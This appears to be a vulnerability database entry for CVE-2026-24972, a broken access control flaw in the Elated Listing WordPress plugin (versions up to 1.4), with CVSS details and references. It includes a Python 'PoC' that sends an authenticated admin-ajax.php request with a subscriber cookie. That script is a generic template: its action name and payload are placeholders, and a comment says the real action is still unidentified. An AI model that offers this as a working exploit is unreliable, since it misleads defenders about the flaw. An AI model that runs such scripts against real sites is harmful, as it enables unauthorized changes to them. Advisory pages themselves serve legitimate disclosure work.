CVE-2026-24972

Description

Missing Authorization vulnerability in Elated-Themes Elated Listing eltd-listing allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Elated Listing: from n/a through <= 1.4.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Elated-Themes Elated Listing <= 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_authorization(target_url, cookie):
    """
    PoC for CVE-2026-24972 Missing Authorization
    """
    # The vulnerable endpoint is typically admin-ajax.php in WordPress
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    
    # Payload to trigger the vulnerability
    # 'action' parameter needs to be identified through source code analysis or fuzzing
    payload = {
        "action": "eltd_listing_affected_action", 
        "param": "malicious_data"
    }
    
    cookies = {
        "wordpress_logged_in_hash": cookie
    }
    
    try:
        response = requests.post(ajax_url, data=payload, headers=headers, cookies=cookies)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if impact occurred.")
            print(response.text)
        else:
            print("[-] Request failed.")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage example
# exploit_missing_authorization("http://target-wordpress-site.com", "subscriber_cookie_value")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24972
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24972
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24972/
[4] VulDB https://vuldb.com/cve/CVE-2026-24972
[5] https://patchstack.com/database/Wordpress/Plugin/eltd-listing/vulnerability/wordpress-elated-listing-plugin-1-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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